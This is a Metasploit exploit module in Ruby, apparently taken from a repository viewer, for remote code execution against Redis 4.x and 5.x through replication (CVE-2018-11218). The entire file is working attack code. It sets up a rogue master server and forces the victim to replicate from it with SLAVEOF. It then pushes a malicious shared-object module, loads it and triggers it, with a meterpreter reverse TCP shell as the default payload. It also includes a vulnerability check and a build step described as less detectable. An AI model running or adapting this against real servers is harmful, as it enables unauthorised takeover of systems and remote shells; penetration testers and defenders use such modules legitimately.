b743296f48
This reverts commit 628275ef59.
289 lines
8.5 KiB
Ruby
289 lines
8.5 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = GoodRanking
|
|
|
|
include Msf::Exploit::Remote::TcpServer
|
|
include Msf::Exploit::CmdStager
|
|
include Msf::Exploit::FileDropper
|
|
include Msf::Auxiliary::Redis
|
|
include Msf::Module::Deprecated
|
|
|
|
moved_from 'exploit/linux/redis/redis_unauth_exec'
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Redis Replication Code Execution',
|
|
'Description' => %q{
|
|
This module can be used to leverage the extension functionality added since Redis 4.0.0
|
|
to execute arbitrary code. To transmit the given extension it makes use of the feature of Redis
|
|
which called replication between master and slave.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
'Green-m <greenm.xxoo[at]gmail.com>' # Metasploit module
|
|
],
|
|
'References' => [
|
|
[ 'CVE', '2018-11218' ],
|
|
[ 'URL', 'https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf'],
|
|
[ 'URL', 'https://github.com/RedisLabs/RedisModulesSDK']
|
|
],
|
|
|
|
'Platform' => 'linux',
|
|
'Arch' => [ARCH_X86, ARCH_X64],
|
|
'Targets' => [
|
|
['Automatic', {} ],
|
|
],
|
|
'DefaultOptions' => {
|
|
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',
|
|
'SRVPORT' => '6379'
|
|
},
|
|
'Privileged' => false,
|
|
'DisclosureDate' => '2018-11-13',
|
|
'DefaultTarget' => 0,
|
|
'Notes' => {
|
|
'Stability' => [ SERVICE_RESOURCE_LOSS ],
|
|
'Reliability' => [ REPEATABLE_SESSION ],
|
|
'SideEffects' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES, IOC_IN_LOGS, ]
|
|
}
|
|
)
|
|
)
|
|
|
|
register_options(
|
|
[
|
|
Opt::RPORT(6379),
|
|
OptBool.new('CUSTOM', [true, 'Whether compile payload file during exploiting', true])
|
|
]
|
|
)
|
|
|
|
register_advanced_options(
|
|
[
|
|
OptString.new('RedisModuleInit', [false, 'The command of module to load and unload. Random string as default.']),
|
|
OptString.new('RedisModuleTrigger', [false, 'The command of module to trigger the given function. Random string as default.']),
|
|
OptString.new('RedisModuleName', [false, 'The name of module to load at first. Random string as default.'])
|
|
]
|
|
)
|
|
deregister_options('URIPATH', 'THREADS', 'SSLCert')
|
|
end
|
|
|
|
#
|
|
# Now tested on redis 4.x and 5.x
|
|
#
|
|
def check
|
|
connect
|
|
# they are only vulnerable if we can run the CONFIG command, so try that
|
|
return CheckCode::Safe unless (config_data = redis_command('CONFIG', 'GET', '*')) && config_data =~ /dbfilename/
|
|
|
|
if (info_data = redis_command('INFO')) && /redis_version:(?<redis_version>\S+)/ =~ info_data
|
|
report_redis(redis_version)
|
|
end
|
|
|
|
unless redis_version
|
|
return CheckCode::Unknown('Cannot retrieve redis version, please check it manually')
|
|
end
|
|
|
|
# Only vulnerable to version 4.x or 5.x
|
|
version = Rex::Version.new(redis_version)
|
|
if version >= Rex::Version.new('4.0.0')
|
|
return CheckCode::Vulnerable("Redis version is #{redis_version}")
|
|
end
|
|
|
|
CheckCode::Safe
|
|
ensure
|
|
disconnect
|
|
end
|
|
|
|
def has_check?
|
|
true # Overrides the override in Msf::Auxiliary::Scanner imported by Msf::Auxiliary::Redis
|
|
end
|
|
|
|
def exploit
|
|
if check_custom
|
|
@module_init_name = datastore['RedisModuleInit'] || Rex::Text.rand_text_alpha_lower(4..8)
|
|
@module_cmd = datastore['RedisModuleTrigger'] || "#{@module_init_name}.#{Rex::Text.rand_text_alpha_lower(4..8)}"
|
|
else
|
|
@module_init_name = 'shell'
|
|
@module_cmd = 'shell.exec'
|
|
end
|
|
|
|
#
|
|
# Prepare for payload.
|
|
#
|
|
# 1. Use custcomed payload, it would compile a brand new file during running, which is more undetectable.
|
|
# It's only worked on linux system.
|
|
#
|
|
# 2. Use compiled payload, it's avaiable on all OS, however more detectable.
|
|
#
|
|
if check_custom
|
|
buf = create_payload
|
|
generate_code_file(buf)
|
|
compile_payload
|
|
end
|
|
|
|
connect
|
|
|
|
#
|
|
# Send the payload.
|
|
#
|
|
redis_command('SLAVEOF', srvhost_addr, srvport.to_s)
|
|
redis_command('CONFIG', 'SET', 'dbfilename', module_file.to_s)
|
|
::IO.select(nil, nil, nil, 2.0)
|
|
|
|
# start the rogue server
|
|
start_rogue_server
|
|
# waiting for victim to receive the payload.
|
|
Rex.sleep(1)
|
|
redis_command('MODULE', 'LOAD', "./#{module_file}")
|
|
redis_command('SLAVEOF', 'NO', 'ONE')
|
|
|
|
# Trigger it.
|
|
print_status('Sending command to trigger payload.')
|
|
pull_the_trigger
|
|
|
|
# Clean up
|
|
Rex.sleep(2)
|
|
register_file_for_cleanup("./#{module_file}")
|
|
# redis_command('CONFIG', 'SET', 'dbfilename', 'dump.rdb')
|
|
# redis_command('MODULE', 'UNLOAD', "#{@module_init_name}")
|
|
ensure
|
|
disconnect
|
|
end
|
|
|
|
#
|
|
# We pretend to be a real redis server, and then slave the victim.
|
|
#
|
|
def start_rogue_server
|
|
socket = Rex::Socket::TcpServer.create({ 'LocalHost' => bindhost, 'LocalPort' => bindport })
|
|
print_status("Listening on #{Rex::Socket.to_authority(bindhost, bindport)}")
|
|
|
|
rsock = socket.accept
|
|
vprint_status('Accepted a connection')
|
|
|
|
# Start negotiation
|
|
loop do
|
|
request = rsock.read(1024)
|
|
vprint_status("in<<< #{request.inspect}")
|
|
response = ''
|
|
finish = false
|
|
|
|
if request.include?('PING')
|
|
response = "+PONG\r\n"
|
|
elsif request.include?('REPLCONF')
|
|
response = "+OK\r\n"
|
|
elsif request.include?('PSYNC') || request.include?('SYNC')
|
|
response = "+FULLRESYNC #{'Z' * 40} 1\r\n"
|
|
response << "$#{payload_bin.length}\r\n"
|
|
response << "#{payload_bin}\r\n"
|
|
finish = true
|
|
end
|
|
|
|
if response.length < 200
|
|
vprint_status("out>>> #{response.inspect}")
|
|
else
|
|
vprint_status("out>>> #{response.inspect[0..100]}......#{response.inspect[-100..]}")
|
|
end
|
|
|
|
rsock.put(response)
|
|
|
|
next unless finish
|
|
|
|
print_status('Rogue server close...')
|
|
rsock.close
|
|
socket.close
|
|
break
|
|
end
|
|
end
|
|
|
|
def pull_the_trigger
|
|
if check_custom
|
|
redis_command(@module_cmd.to_s)
|
|
else
|
|
execute_cmdstager
|
|
end
|
|
end
|
|
|
|
#
|
|
# Parpare command stager for the pre-compiled payload.
|
|
# And the command of module is hard-coded.
|
|
#
|
|
def execute_command(cmd, _opts = {})
|
|
redis_command('shell.exec', cmd.to_s)
|
|
rescue StandardError
|
|
nil
|
|
end
|
|
|
|
#
|
|
# Generate source code file of payload to be compiled dynamicly.
|
|
#
|
|
def generate_code_file(buf)
|
|
template = File.read(File.join(Msf::Config.data_directory, 'exploits', 'redis', 'module.erb'))
|
|
File.open(File.join(Msf::Config.data_directory, 'exploits', 'redis', 'module.c'), 'wb') { |file| file.write(ERB.new(template).result(binding)) }
|
|
end
|
|
|
|
def compile_payload
|
|
make_file = File.join(Msf::Config.data_directory, 'exploits', 'redis', 'Makefile')
|
|
vprint_status('Clean old files')
|
|
vprint_status(`make -C #{File.dirname(make_file)}/rmutil clean`)
|
|
vprint_status(`make -C #{File.dirname(make_file)} clean`)
|
|
|
|
print_status('Compile redis module extension file')
|
|
res = `make -C #{File.dirname(make_file)} -f #{make_file} && echo true`
|
|
if res.include?('true')
|
|
print_good('Payload generated successfully! ')
|
|
else
|
|
print_error(res)
|
|
fail_with(Failure::BadConfig, 'Check config of gcc compiler.')
|
|
end
|
|
end
|
|
|
|
#
|
|
# check the environment for compile payload to so file.
|
|
#
|
|
def check_env
|
|
# check if linux
|
|
return false unless `uname -s 2>/dev/null`.include?('Linux')
|
|
# check if gcc installed
|
|
return false unless `command -v gcc && echo true`.include?('true')
|
|
# check if ld installed
|
|
return false unless `command -v ld && echo true`.include?('true')
|
|
|
|
true
|
|
end
|
|
|
|
def check_custom
|
|
return @custom_payload if @custom_payload
|
|
|
|
@custom_payload = false
|
|
@custom_payload = true if check_env && datastore['CUSTOM']
|
|
|
|
@custom_payload
|
|
end
|
|
|
|
def module_file
|
|
return @module_file if @module_file
|
|
|
|
@module_file = datastore['RedisModuleName'] || "#{Rex::Text.rand_text_alpha_lower(4..8)}.so"
|
|
end
|
|
|
|
def create_payload
|
|
p = payload.encoded
|
|
Msf::Simple::Buffer.transform(p, 'c', 'buf')
|
|
end
|
|
|
|
def payload_bin
|
|
return @payload_bin if @payload_bin
|
|
|
|
if check_custom
|
|
@payload_bin = File.binread(File.join(Msf::Config.data_directory, 'exploits', 'redis', 'module.so'))
|
|
else
|
|
@payload_bin = File.binread(File.join(Msf::Config.data_directory, 'exploits', 'redis', 'exp', 'exp.so'))
|
|
end
|
|
@payload_bin
|
|
end
|
|
end
|